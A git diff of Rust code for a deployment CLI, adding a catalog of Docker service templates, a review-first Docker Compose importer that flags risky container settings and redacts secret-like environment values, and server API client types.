proxy with SSL".into(), + service: ServiceDefinition { + name: "nginx_proxy_manager".into(), + image: "jc21/nginx-proxy-manager:latest".into(), + ports: vec!["80:80".into(), "443:443".into(), "81:81".into()], + environment: HashMap::new(), + volumes: vec![ + "npm_data:/data".into(), + "npm_letsencrypt:/etc/letsencrypt".into(), + ], + depends_on: vec![], + }, + related: vec![], + }, + // ── Web Applications ───────────────────────────── + CatalogEntry { + code: "wordpress".into(), + name: "WordPress".into(), + category: "web".into(), + description: "Popular CMS and blogging platform".into(), + service: ServiceDefinition { + name: "wordpress".into(), + image: "wordpress:latest".into(), + ports: vec!["8080:80".into()], + environment: HashMap::from([ + ("WORDPRESS_DB_HOST".into(), "mysql".into()), + ("WORDPRESS_DB_USER".into(), "wordpress".into()), + ("WORDPRESS_DB_PASSWORD".into(), "changeme".into()), + ("WORDPRESS_DB_NAME".into(), "wordpress".into()), + ]), + volumes: vec!["wordpress_data:/var/www/html".into()], + depends_on: vec!["mysql".into()], + }, + related: vec!["mysql".into(), "redis".into(), "traefik".into()], + }, + // ── Search ─────────────────────────────────────── + CatalogEntry { + code: "elasticsearch".into(), + name: "Elasticsearch".into(), + category: "search".into(), + description: "Distributed search and analytics engine".into(), + service: ServiceDefinition { + name: "elasticsearch".into(), + image: "elasticsearch:8.12.0".into(), + ports: vec!["9200:9200".into()], + environment: HashMap::from([ + ("discovery.type".into(), "single-node".into()), + ("xpack.security.enabled".into(), "false".into()), + ("ES_JAVA_OPTS".into(), "-Xms512m -Xmx512m".into()), + ]), + volumes: vec!["es_data:/usr/share/elasticsearch/data".into()], + depends_on: vec![], + }, + related: vec!["kibana".into()], + }, + CatalogEntry { + code: "kibana".into(), + name: "Kibana".into(), + category: "search".into(), + description: "Visualization dashboard for Elasticsearch".into(), + service: ServiceDefinition { + name: "kibana".into(), + image: "kibana:8.12.0".into(), + ports: vec!["5601:5601".into()], + environment: HashMap::from([( + "ELASTICSEARCH_HOSTS".into(), + "http://elasticsearch:9200".into(), + )]), + volumes: vec![], + depends_on: vec!["elasticsearch".into()], + }, + related: vec!["elasticsearch".into()], + }, + // ── Vector Databases ───────────────────────────── + CatalogEntry { + code: "qdrant".into(), + name: "Qdrant".into(), + category: "database".into(), + description: "Vector similarity search engine for AI applications".into(), + service: ServiceDefinition { + name: "qdrant".into(), + image: "qdrant/qdrant:latest".into(), + ports: vec!["6333:6333".into(), "6334:6334".into()], + environment: HashMap::new(), + volumes: vec!["qdrant_data:/qdrant/storage".into()], + depends_on: vec![], + }, + related: vec![], + }, + // ── Monitoring ─────────────────────────────────── + CatalogEntry { + code: "telegraf".into(), + name: "Telegraf".into(), + category: "monitoring".into(), + description: "Agent for collecting and reporting metrics".into(), + service: ServiceDefinition { + name: "telegraf".into(), + image: "telegraf:1.30-alpine".into(), + ports: vec![], + environment: HashMap::new(), + volumes: vec!["/var/run/docker.sock:/var/run/docker.sock:ro".into()], + depends_on: vec![], + }, + related: vec![], + }, + // ── Dev Tools ──────────────────────────────────── + CatalogEntry { + code: "phpmyadmin".into(), + name: "phpMyAdmin".into(), + category: "devtool".into(), + description: "Web-based MySQL database management (development)".into(), + service: ServiceDefinition { + name: "phpmyadmin".into(), + image: "phpmyadmin:latest".into(), + ports: vec!["8081:80".into()], + environment: HashMap::from([ + ("PMA_HOST".into(), "mysql".into()), + ("PMA_PORT".into(), "3306".into()), + ]), + volumes: vec![], + depends_on: vec!["mysql".into()], + }, + related: vec!["mysql".into()], + }, + CatalogEntry { + code: "smtp".into(), + name: "SMTP Test Server".into(), + category: "mail".into(), + description: "Attachable SMTP companion app for local delivery and relay testing" + .into(), + service: ServiceDefinition { + name: "smtp".into(), + image: "trydirect/smtp".into(), + ports: vec!["1025:25".into()], + environment: HashMap::from([ + ( + "RELAY_NETWORKS".into(), + ":127.0.0.0/8:10.0.0.0/8:172.16.0.0/12:192.168.0.0/16".into(), + ), + ("PORT".into(), "25".into()), + ]), + volumes: vec!["smtp_data:/data".into()], + depends_on: vec![], + }, + related: vec![], + }, + CatalogEntry { + code: "mailhog".into(), + name: "MailHog".into(), + category: "devtool".into(), + description: "Email testing tool — catches all outgoing mail (development)".into(), + service: ServiceDefinition { + name: "mailhog".into(), + image: "mailhog/mailhog:latest".into(), + ports: vec!["1025:1025".into(), "8025:8025".into()], + environment: HashMap::new(), + volumes: vec![], + depends_on: vec![], + }, + related: vec![], + }, + // ── Storage ────────────────────────────────────── + CatalogEntry { + code: "minio".into(), + name: "MinIO".into(), + category: "storage".into(), + description: "S3-compatible object storage".into(), + service: ServiceDefinition { + name: "minio".into(), + image: "minio/minio:latest".into(), + ports: vec!["9000:9000".into(), "9001:9001".into()], + environment: HashMap::from([ + ("MINIO_ROOT_USER".into(), "admin".into()), + ("MINIO_ROOT_PASSWORD".into(), "changeme123".into()), + ]), + volumes: vec!["minio_data:/data".into()], + depends_on: vec![], + }, + related: vec![], + }, + // ── Container Management ───────────────────────── + CatalogEntry { + code: "portainer".into(), + name: "Portainer".into(), + category: "devtool".into(), + description: "Docker container management web UI".into(), + service: ServiceDefinition { + name: "portainer".into(), + image: "portainer/portainer-ce:latest".into(), + ports: vec!["9443:9443".into()], + environment: HashMap::new(), + volumes: vec![ + "/var/run/docker.sock:/var/run/docker.sock".into(), + "portainer_data:/data".into(), + ], + depends_on: vec![], + }, + related: vec![], + }, + // ── AI Assistants ───────────────────────────── + CatalogEntry { + code: "openclaw".into(), + name: "OpenClaw".into(), + category: "ai".into(), + description: "Personal AI assistant with multi-channel gateway".into(), + service: ServiceDefinition { + name: "openclaw".into(), + image: "ghcr.io/openclaw/openclaw:latest".into(), + ports: vec!["18789:18789".into()], + environment: HashMap::from([("OPENCLAW_GATEWAY_BIND".into(), "lan".into())]), + volumes: vec![ + "openclaw_config:/home/node/.openclaw".into(), + "openclaw_workspace:/home/node/.openclaw/workspace".into(), + ], + depends_on: vec![], + }, + related: vec![], + }, + ] +} + +/// Generate a compact summary of the hardcoded catalog for AI system prompts. +pub fn catalog_summary_for_ai() -> String { + let catalog = build_hardcoded_catalog(); + let mut lines: Vec = vec![ + "## Available service templates (use `add_service` tool to add to stacker.yml)".to_string(), + "| Code | Name | Category | Default Image |".to_string(), + "|------|------|----------|---------------|".to_string(), + ]; + for entry in &catalog { + lines.push(format!( + "| {} | {} | {} | {} |", + entry.code, entry.name, entry.category, entry.service.image + )); + } + lines.push(String::new()); + lines.push("Common aliases: wp→wordpress, pg→postgres, my→mysql, mongo→mongodb, es→elasticsearch, mq→rabbitmq, pma→phpmyadmin, smtp→smtp, mail→smtp, mh→mailhog".to_string()); + lines.join("\n") +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_resolve_alias_wordpress() { + assert_eq!(ServiceCatalog::resolve_alias("wp"), "wordpress"); + assert_eq!(ServiceCatalog::resolve_alias("WordPress"), "wordpress"); + } + + #[test] + fn test_resolve_alias_postgres() { + assert_eq!(ServiceCatalog::resolve_alias("pg"), "postgres"); + assert_eq!(ServiceCatalog::resolve_alias("postgresql"), "postgres"); + assert_eq!(ServiceCatalog::resolve_alias("PostgreSQL"), "postgres"); + } + + #[test] + fn test_resolve_alias_passthrough() { + assert_eq!(ServiceCatalog::resolve_alias("redis"), "redis"); + assert_eq!(ServiceCatalog::resolve_alias("traefik"), "traefik"); + } + + #[test] + fn test_resolve_alias_hyphen_to_underscore() { + assert_eq!( + ServiceCatalog::resolve_alias("nginx-proxy-manager"), + "nginx_proxy_manager" + ); + } + + #[test] + fn test_resolve_alias_smtp_companion() { + assert_eq!(ServiceCatalog::resolve_alias("smtp"), "smtp"); + assert_eq!(ServiceCatalog::resolve_alias("mail"), "smtp"); + assert_eq!(ServiceCatalog::resolve_alias("mailer"), "smtp"); + } + + #[test] + fn test_hardcoded_catalog_not_empty() { + let catalog = build_hardcoded_catalog(); + assert!( + catalog.len() > 10, + "Expected at least 10 services in catalog" + ); + } + + #[test] + fn test_lookup_hardcoded_postgres() { + let cat = ServiceCatalog::offline(); + let entry = cat.lookup_hardcoded("postgres"); + assert!(entry.is_some()); + let e = entry.unwrap(); + assert_eq!(e.service.image, "postgres:16-alpine"); + assert!(e.service.ports.contains(&"5432:5432".to_string())); + } + + #[test] + fn test_lookup_hardcoded_smtp_companion() { + let cat = ServiceCatalog::offline(); + let entry = cat.lookup_hardcoded("smtp").expect("smtp service exists"); + + assert_eq!(entry.category, "mail"); + assert_eq!(entry.service.name, "smtp"); + assert_eq!(entry.service.image, "trydirect/smtp"); + assert!(entry.service.ports.contains(&"1025:25".to_string())); + assert_eq!( + entry.service.environment.get("PORT").map(String::as_str), + Some("25") + ); + assert_eq!( + entry + .service + .environment + .get("RELAY_NETWORKS") + .map(String::as_str), + Some(":127.0.0.0/8:10.0.0.0/8:172.16.0.0/12:192.168.0.0/16") + ); + } + + #[test] + fn test_lookup_hardcoded_unknown() { + let cat = ServiceCatalog::offline(); + assert!(cat.lookup_hardcoded("nonexistent_service").is_none()); + } + + #[test] + fn test_catalog_summary_for_ai_contains_key_services() { + let summary = catalog_summary_for_ai(); + assert!(summary.contains("postgres")); + assert!(summary.contains("wordpress")); + assert!(summary.contains("redis")); + assert!(summary.contains("smtp")); + assert!(summary.contains("add_service")); + } +} diff --git a/stacker/stacker/src/cli/service_import.rs b/stacker/stacker/src/cli/service_import.rs new file mode 100644 index 0000000..a57ffb4 --- /dev/null +++ b/stacker/stacker/src/cli/service_import.rs @@ -0,0 +1,669 @@ +//! Review-first Docker Compose service import helpers. +//! +//! This module is intentionally pure: it parses Compose YAML and builds a +//! review model plus `ServiceDefinition`s, but never executes Compose content +//! and never mutates `stacker.yml`. + +use std::collections::{BTreeSet, HashMap}; +use std::path::Path; + +use serde::Serialize; +use serde_yaml::{Mapping, Value}; + +use crate::cli::config_parser::ServiceDefinition; +use crate::cli::error::CliError; + +const SUPPORTED_FIELDS: &[&str] = &["image", "ports", "environment", "volumes", "depends_on"]; +const RISK_FIELDS: &[&str] = &[ + "build", + "cap_add", + "devices", + "extra_hosts", + "ipc", + "network_mode", + "pid", + "privileged", + "security_opt", +]; +const MAIL_PORTS: &[&str] = &["25", "465", "587", "993"]; + +#[derive(Debug, Clone)] +pub struct ComposeImportRequest { + pub import_name: String, + pub selected_service: Option, + pub renames: Vec<(String, String)>, +} + +#[derive(Debug, Clone, Serialize)] +pub struct ServiceImportReview { + pub import_name: String, + pub services: Vec, + pub risks: Vec, + pub guidance: Vec, +} + +#[derive(Debug, Clone, Serialize)] +pub struct ImportedServiceReview { + pub source_name: String, + pub name: String, + pub image: String, + pub ports: Vec, + pub environment_keys: Vec, + pub environment: HashMap, + pub volumes: Vec, + pub depends_on: Vec, + pub unsupported_fields: Vec, +} + +#[derive(Debug, Clone, Serialize, PartialEq, Eq)] +pub struct ImportRisk { + pub service: String, + pub kind: String, + pub detail: String, +} + +#[derive(Debug, Clone)] +pub struct ServiceImportPlan { + pub review: ServiceImportReview, + pub services: Vec, +} + +pub fn import_plan_from_compose_file( + compose_path: &Path, + request: &ComposeImportRequest, +) -> Result { + let content = std::fs::read_to_string(compose_path).map_err(|err| { + CliError::ConfigValidation(format!( + "Failed to read compose file '{}': {}", + compose_path.display(), + err + )) + })?; + import_plan_from_compose_str(&content, request) +} + +pub fn import_plan_from_compose_str( + compose_yaml: &str, + request: &ComposeImportRequest, +) -> Result { + let document: Value = serde_yaml::from_str(compose_yaml).map_err(|err| { + CliError::ConfigValidation(format!("Failed to parse Docker Compose YAML: {err}")) + })?; + let service_map = document + .get(Value::String("services".to_string())) + .and_then(Value::as_mapping) + .ok_or_else(|| { + CliError::ConfigValidation( + "Docker Compose file must contain a top-level 'services' mapping".to_string(), + ) + })?; + + let mut services = Vec::new(); + let mut reviews = Vec::new(); + let mut risks = Vec::new(); + let mut has_mail_server_shape = false; + let rename_map = request + .renames + .iter() + .cloned() + .collect::>(); + + for (name, definition) in service_map { + let Some(source_name) = name.as_str() else { + continue; + }; + if let Some(selected) = &request.selected_service { + if selected != source_name { + continue; + } + } + + let definition = definition.as_mapping().ok_or_else(|| { + CliError::ConfigValidation(format!("Compose service '{source_name}' must be a mapping")) + })?; + let image = mapping_string(definition, "image").ok_or_else(|| { + CliError::ConfigValidation(format!( + "Compose service '{source_name}' must use an image; build-only imports are not supported yet" + )) + })?; + let destination_name = destination_service_name(source_name, request, &rename_map); + let ports = mapping_sequence(definition, "ports") + .into_iter() + .filter_map(compose_port_to_string) + .collect::>(); + let environment = sanitized_compose_environment(definition); + let mut environment_keys = environment.keys().cloned().collect::>(); + environment_keys.sort(); + let volumes = mapping_sequence(definition, "volumes") + .into_iter() + .filter_map(compose_volume_to_string) + .collect::>(); + let depends_on = compose_depends_on(definition) + .into_iter() + .map(|dependency| rename_map.get(&dependency).cloned().unwrap_or(dependency)) + .collect::>(); + let unsupported_fields = unsupported_fields(definition); + + risks.extend(classify_risks( + source_name, + definition, + &ports, + &volumes, + &environment_keys, + )); + has_mail_server_shape |= looks_like_mail_server(source_name, &image, &ports); + + services.push(ServiceDefinition { + name: destination_name.clone(), + image: image.clone(), + ports: ports.clone(), + environment: environment.clone(), + volumes: volumes.clone(), + depends_on: depends_on.clone(), + }); + reviews.push(ImportedServiceReview { + source_name: source_name.to_string(), + name: destination_name, + image, + ports, + environment_keys, + environment: redacted_environment(&environment), + volumes, + depends_on, + unsupported_fields, + }); + } + + if let Some(selected) = &request.selected_service { + if services.is_empty() { + return Err(CliError::ConfigValidation(format!( + "Compose service '{selected}' was not found" + ))); + } + } else if services.is_empty() { + return Err(CliError::ConfigValidation( + "No importable image-backed Compose services were found".to_string(), + )); + } + + let mut guidance = Vec::new(); + if has_mail_server_shape { + guidance.extend(docker_mailserver_guidance()); + } + + Ok(ServiceImportPlan { + review: ServiceImportReview { + import_name: request.import_name.clone(), + services: reviews, + risks, + guidance, + }, + services, + }) +} + +pub fn parse_renames(values: &[String]) -> Result, CliError> { + values + .iter() + .map(|value| { + let (from, to) = value.split_once('=').ok_or_else(|| { + CliError::ConfigValidation(format!( + "Invalid --rename '{value}'. Expected format: old=new" + )) + })?; + if from.trim().is_empty() || to.trim().is_empty() { + return Err(CliError::ConfigValidation(format!( + "Invalid --rename '{value}'. Service names cannot be empty" + ))); + } + Ok((from.trim().to_string(), to.trim().to_string())) + }) + .collect() +} + +fn destination_service_name( + source_name: &str, + request: &ComposeImportRequest, + rename_map: &HashMap, +) -> String { + if let Some(renamed) = rename_map.get(source_name) { + return renamed.clone(); + } + + if request.selected_service.is_some() { + return request.import_name.clone(); + } + + source_name.to_string() +} + +fn mapping_string(mapping: &Mapping, key: &str) -> Option { + mapping + .get(Value::String(key.to_string())) + .and_then(Value::as_str) + .map(ToOwned::to_owned) +} + +fn mapping_sequence<'a>(mapping: &'a Mapping, key: &str) -> Vec<&'a Value> { + mapping + .get(Value::String(key.to_string())) + .and_then(Value::as_sequence) + .map(|values| values.iter().collect()) + .unwrap_or_default() +} + +fn mapping_scalar(mapping: &Mapping, key: &str) -> Option { + mapping + .get(Value::String(key.to_string())) + .map(yaml_scalar_to_string) + .filter(|value| !value.is_empty()) +} + +fn yaml_scalar_to_string(value: &Value) -> String { + match value { + Value::Null => String::new(), + Value::Bool(value) => value.to_string(), + Value::Number(value) => value.to_string(), + Value::String(value) => value.clone(), + _ => serde_yaml::to_string(value) + .unwrap_or_default() + .trim() + .to_string(), + } +} + +fn compose_port_to_string(value: &Value) -> Option { + if let Some(port) = value.as_str() { + return Some(port.to_string()); + } + + let map = value.as_mapping()?; + let target = mapping_scalar(map, "target")?; + let published = mapping_scalar(map, "published"); + Some(match published { + Some(published) => format!("{published}:{target}"), + None => target, + }) +} + +fn compose_volume_to_string(value: &Value) -> Option { + if let Some(volume) = value.as_str() { + return Some(volume.to_string()); + } + + let map = value.as_mapping()?; + let target = mapping_scalar(map, "target")?; + let source = mapping_scalar(map, "source").unwrap_or_default(); + let read_only = map + .get(Value::String("read_only".to_string())) + .and_then(Value::as_bool) + .unwrap_or(false); + + Some(if read_only { + format!("{source}:{target}:ro") + } else if source.is_empty() { + target + } else { + format!("{source}:{target}") + }) +} + +fn sanitized_compose_environment(mapping: &Mapping) -> HashMap { + let mut environment = HashMap::new(); + let Some(value) = mapping.get(Value::String("environment".to_string())) else { + return environment; + }; + + if let Some(map) = value.as_mapping() { + for (key, value) in map { + if let Some(key) = key.as_str() { + environment.insert(key.to_string(), sanitized_env_value(key, value)); + } + } + return environment; + } + + if let Some(sequence) = value.as_sequence() { + for item in sequence { + if let Some(entry) = item.as_str() { + match entry.split_once('=') { + Some((key, value)) => { + environment.insert( + key.to_string(), + sanitized_env_value_from_string(key, value.to_string()), + ); + } + None => { + environment.insert(entry.to_string(), String::new()); + } + } + } + } + } + + environment +} + +fn sanitized_env_value(key: &str, value: &Value) -> String { + sanitized_env_value_from_string(key, yaml_scalar_to_string(value)) +} + +fn sanitized_env_value_from_string(key: &str, value: String) -> String { + if is_sensitive_env_key(key) && !is_placeholder_value(&value) && !value.is_empty() { + format!("${{{key}}}") + } else { + value + } +} + +pub fn redacted_environment(environment: &HashMap) -> HashMap { + environment + .iter() + .map(|(key, value)| { + let redacted = if is_sensitive_env_key(key) { + "".to_string() + } else { + value.clone() + }; + (key.clone(), redacted) + }) + .collect() +} + +fn is_placeholder_value(value: &str) -> bool { + value.starts_with("${") && value.ends_with('}') +} + +fn is_sensitive_env_key(key: &str) -> bool { + let upper = key.to_ascii_uppercase(); + upper.contains("PASSWORD") + || upper.contains("PASS") + || upper.contains("SECRET") + || upper.contains("TOKEN") + || upper.contains("KEY") + || upper.contains("CREDENTIAL") + || upper.contains("PRIVATE") +} + +fn compose_depends_on(mapping: &Mapping) -> Vec { + let Some(value) = mapping.get(Value::String("depends_on".to_string())) else { + return Vec::new(); + }; + + if let Some(sequence) = value.as_sequence() { + return sequence + .iter() + .filter_map(Value::as_str) + .map(ToOwned::to_owned) + .collect(); + } + + value + .as_mapping() + .map(|depends_on| { + depends_on + .keys() + .filter_map(Value::as_str) + .map(ToOwned::to_owned) + .collect() + }) + .unwrap_or_default() +} + +fn unsupported_fields(mapping: &Mapping) -> Vec { + let supported = SUPPORTED_FIELDS + .iter() + .copied() + .collect::>(); + mapping + .keys() + .filter_map(Value::as_str) + .filter(|key| !supported.contains(key)) + .map(ToOwned::to_owned) + .collect::>() + .into_iter() + .collect() +} + +fn classify_risks( + service_name: &str, + mapping: &Mapping, + ports: &[String], + volumes: &[String], + environment_keys: &[String], +) -> Vec { + let mut risks = Vec::new(); + + for field in RISK_FIELDS { + if mapping.contains_key(Value::String((*field).to_string())) { + if *field == "privileged" + && !mapping + .get(Value::String("privileged".to_string())) + .and_then(Value::as_bool) + .unwrap_or(false) + { + continue; + } + if (*field == "network_mode" + && mapping_string(mapping, "network_mode").as_deref() == Some("host")) + || *field != "network_mode" + { + risks.push(ImportRisk { + service: service_name.to_string(), + kind: (*field).to_string(), + detail: format!("Compose field '{field}' can weaken container isolation"), + }); + } + } + } + + if mapping_string(mapping, "pid").as_deref() == Some("host") { + risks.push(ImportRisk { + service: service_name.to_string(), + kind: "pid_host".to_string(), + detail: "Service uses host PID namespace".to_string(), + }); + } + if mapping_string(mapping, "ipc").as_deref() == Some("host") { + risks.push(ImportRisk { + service: service_name.to_string(), + kind: "ipc_host".to_string(), + detail: "Service uses host IPC namespace".to_string(), + }); + } + + for volume in volumes { + let host_part = volume.split(':').next().unwrap_or_default(); + if host_part == "/var/run/docker.sock" { + risks.push(ImportRisk { + service: service_name.to_string(), + kind: "docker_socket_mount".to_string(), + detail: "Mounts /var/run/docker.sock, which can grant host-level Docker control" + .to_string(), + }); + } else if host_part.starts_with('/') { + risks.push(ImportRisk { + service: service_name.to_string(), + kind: "absolute_host_path".to_string(), + detail: format!("Uses absolute host path mount '{host_part}'"), + }); + } + } + + for key in environment_keys { + if is_sensitive_env_key(key) { + risks.push(ImportRisk { + service: service_name.to_string(), + kind: "sensitive_env_name".to_string(), + detail: format!("Environment key '{key}' looks sensitive; value will be redacted"), + }); + } + } + + for port in ports { + if published_port(port).is_some() { + risks.push(ImportRisk { + service: service_name.to_string(), + kind: "public_port".to_string(), + detail: format!("Publishes host port '{port}'"), + }); + } + } + + risks +} + +fn published_port(port: &str) -> Option<&str> { + let mut parts = port.split(':'); + let first = parts.next()?; + let second = parts.next(); + second.map(|_| first) +} + +fn looks_like_mail_server(service_name: &str, image: &str, ports: &[String]) -> bool { + let identity = format!("{service_name} {image}").to_ascii_lowercase(); + identity.contains("docker-mailserver") + || identity.contains("mailserver") + || ports.iter().any(|port| { + let public = published_port(port).unwrap_or(port); + MAIL_PORTS.contains(&public) + }) +} + +fn docker_mailserver_guidance() -> Vec { + vec![ + "Mail server imports require DNS MX, SPF, DKIM, DMARC, PTR/rDNS records before production use.".to_string(), + "Confirm your provider allows SMTP egress, especially port 25; many clouds block it by default.".to_string(), + "Open only the required firewall ports (commonly 25, 465, 587, 993) and keep mail data on persistent volumes.".to_string(), + ] +} + +#[cfg(test)] +mod tests { + use super::*; + + fn request() -> ComposeImportRequest { + ComposeImportRequest { + import_name: "smtp".to_string(), + selected_service: Some("mailserver".to_string()), + renames: vec![("mailserver".to_string(), "smtp".to_string())], + } + } + + #[test] + fn parses_compose_service_into_stacker_definition() { + let plan = import_plan_from_compose_str( + r#" +services: + mailserver: + image: docker.io/mailserver/docker-mailserver:latest + ports: + - "25:25" + - target: 993 + published: 993 + environment: + OVERRIDE_HOSTNAME: mail.example.com + ACCOUNT_PASSWORD: super-secret + DKIM_PRIVATE_KEY: ${DKIM_PRIVATE_KEY} + volumes: + - maildata:/var/mail + depends_on: + redis: + condition: service_started +"#, + &request(), + ) + .unwrap(); + + let service = &plan.services[0]; + assert_eq!(service.name, "smtp"); + assert_eq!( + service.image, + "docker.io/mailserver/docker-mailserver:latest" + ); + assert_eq!(service.ports, vec!["25:25", "993:993"]); + assert_eq!( + service.environment.get("ACCOUNT_PASSWORD").unwrap(), + "${ACCOUNT_PASSWORD}" + ); + assert_eq!( + service.environment.get("DKIM_PRIVATE_KEY").unwrap(), + "${DKIM_PRIVATE_KEY}" + ); + assert_eq!(service.depends_on, vec!["redis"]); + assert!(!plan.review.guidance.is_empty()); + } + + #[test] + fn classifies_risky_compose_fields() { + let plan = import_plan_from_compose_str( + r#" +services: + mailserver: + image: docker.io/mailserver/docker-mailserver:latest + privileged: true + network_mode: host + pid: host + ipc: host + cap_add: [NET_ADMIN] + devices: ["/dev/net/tun:/dev/net/tun"] + extra_hosts: ["host.docker.internal:host-gateway"] + security_opt: ["apparmor:unconfined"] + volumes: + - /var/run/docker.sock:/var/run/docker.sock + - /srv/mail:/var/mail + environment: + API_TOKEN: abc + ports: + - "587:587" +"#, + &request(), + ) + .unwrap(); + + let kinds = plan + .review + .risks + .iter() + .map(|risk| risk.kind.as_str()) + .collect::>(); + for expected in [ + "privileged", + "network_mode", + "pid", + "ipc", + "pid_host", + "ipc_host", + "cap_add", + "devices", + "extra_hosts", + "security_opt", + "docker_socket_mount", + "absolute_host_path", + "sensitive_env_name", + "public_port", + ] { + assert!(kinds.contains(expected), "missing risk {expected}"); + } + } + + #[test] + fn redacts_secret_like_environment_values_in_review() { + let plan = import_plan_from_compose_str( + r#" +services: + mailserver: + image: mail:latest + environment: + PASSWORD: literal + PUBLIC_NAME: example +"#, + &request(), + ) + .unwrap(); + + let review_env = &plan.review.services[0].environment; + assert_eq!(review_env.get("PASSWORD").unwrap(), ""); + assert_eq!(review_env.get("PUBLIC_NAME").unwrap(), "example"); + } +} diff --git a/stacker/stacker/src/cli/stacker_client.rs b/stacker/stacker/src/cli/stacker_client.rs new file mode 100644 index 0000000..8359f8c --- /dev/null +++ b/stacker/stacker/src/cli/stacker_client.rs @@ -0,0 +1,4795 @@ +//! Stacker Server API Client for CLI +//! +//! Communicates with the Stacker server (not User Service directly) for: +//! - Project CRUD (list, create, lookup by name) +//! - Cloud credential management (list, lookup by provider) +//! - Server management (list, lookup by name) +//! - Deployment (POST /project/{id}/deploy or /project/{id}/deploy/{cloud_id}) +//! +//! All endpoints require `Authorization: Bearer ` from `stacker login`. + +use crate::cli::config_parser::DeployTarget; +use crate::cli::debug::cli_debug_enabled; +use crate::cli::error::CliError; +use crate::handoff::{DeploymentHandoffPayload, DeploymentHandoffResolveRequest}; +use crate::services::{ + DeployPlan, DeployPlanOperation, DeploymentEventFeed, DeploymentState, TypedErrorEnvelope, +}; +use pipe_adapter_sdk::PipeAdapterReference; +use serde::{Deserialize, Serialize}; + +/// Default Stacker server base URL (distinct from the User Service auth URL). +pub const DEFAULT_STACKER_URL: &str = "https://stacker.try.direct"; + +/// Default Vault URL used by status panel roles. +/// The Install Service Ansible role uses this to configure the agent's VAULT_ADDRESS +/// environment variable on the remote server. Must be a publicly reachable address +/// (not a Docker-internal IP) so deployed agents can connect to Vault. +pub const DEFAULT_VAULT_URL: &str = "https://vault.try.direct"; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Response types (matching Stacker server JSON envelope) +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Stacker server wraps responses in `{ "item": ..., "list": [...], "msg": "...", "_status": "OK" }` +#[derive(Debug, Deserialize)] +#[allow(dead_code)] +struct ApiResponse { + #[serde(rename = "_status")] + pub status: Option, + pub msg: Option, + pub item: Option, + pub list: Option>, + pub id: Option, + pub meta: Option, +} + +fn parse_typed_error_response(body: &str) -> Option { + serde_json::from_str(body).ok() +} + +fn stacker_api_failure(action: &str, status: u16, body: &str) -> String { + stacker_api_failure_with_message( + "Stacker server request failed", + action, + status, + body, + cli_debug_enabled(), + ) +} + +fn stacker_api_failure_with_debug(action: &str, status: u16, body: &str, debug: bool) -> String { + stacker_api_failure_with_message("Stacker server request failed", action, status, body, debug) +} + +fn stacker_api_failure_with_message( + summary: &str, + action: &str, + status: u16, + body: &str, + debug: bool, +) -> String { + if debug { + format!("Stacker server {action} failed ({status}): {body}") + } else { + format!( + "{summary} ({status}). Rerun with DEBUG=true or RUST_LOG=debug for endpoint details." + ) + } +} + +/// Project as returned by `/project` endpoints +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ProjectInfo { + pub id: i32, + pub name: String, + pub user_id: String, + pub metadata: serde_json::Value, + pub created_at: String, + pub updated_at: String, +} + +/// Project app as returned by `/project/{id}/apps` endpoints +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ProjectAppInfo { + pub id: i32, + pub project_id: i32, + pub code: String, + pub name: String, + pub image: String, + pub enabled: bool, + pub deploy_order: Option, + pub parent_app_code: Option, +} + +/// Project app registration payload for `POST /project/{id}/apps`. +#[derive(Debug, Clone, Serialize)] +pub struct ProjectAppRegistrationRequest { + pub code: String, + pub name: Option, + pub image: String, + #[serde(skip_serializing_if = "Option::is_none")] + pub env: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub ports: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub volumes: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub depends_on: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub enabled: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub deploy_order: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub deployment_hash: Option, +} + +/// Cloud credentials as returned by `/cloud` endpoints +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct CloudInfo { + pub id: i32, + pub user_id: String, + #[serde(default)] + pub name: String, + pub provider: String, + pub cloud_token: Option, + pub cloud_key: Option, + pub cloud_secret: Option, + pub save_token: Option, +} + +/// Server as returned by `/server` endpoints +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ServerInfo { + pub id: i32, + pub user_id: String, + pub project_id: i32, + pub cloud_id: Option, + #[serde(default)] + pub cloud: Option, + pub region: Option, + pub zone: Option, + pub server: Option, + pub os: Option, + pub disk_type: Option, + pub srv_ip: Option, + pub ssh_port: Option, + pub ssh_user: Option, + pub name: Option, + pub vault_key_path: Option, + #[serde(default = "default_connection_mode")] + pub connection_mode: String, + #[serde(default = "default_key_status")] + pub key_status: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct RemoteSecretMetadataInfo { + pub id: i32, + pub scope: String, + pub name: String, + pub project_id: Option, + pub app_code: Option, + pub server_id: Option, + pub updated_at: String, + pub updated_by: String, + pub source: String, +} + +fn default_connection_mode() -> String { + "ssh".to_string() +} +fn default_key_status() -> String { + "none".to_string() +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// SSH key response types +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Response from `POST /server/{id}/ssh-key/generate` +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct GenerateKeyResponse { + pub public_key: String, + pub private_key: Option, + pub fingerprint: Option, + pub message: String, +} + +/// Response from `GET /server/{id}/ssh-key/public` +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct PublicKeyResponse { + pub public_key: String, + pub fingerprint: Option, +} + +/// Response from `POST /server/{id}/ssh-key/authorize-public-key` +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct AuthorizePublicKeyResponse { + pub server_id: i32, + pub srv_ip: String, + pub ssh_user: String, + pub ssh_port: u16, + pub authorized: bool, + pub message: String, +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Marketplace response types +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Marketplace template summary as returned by `GET /marketplace` 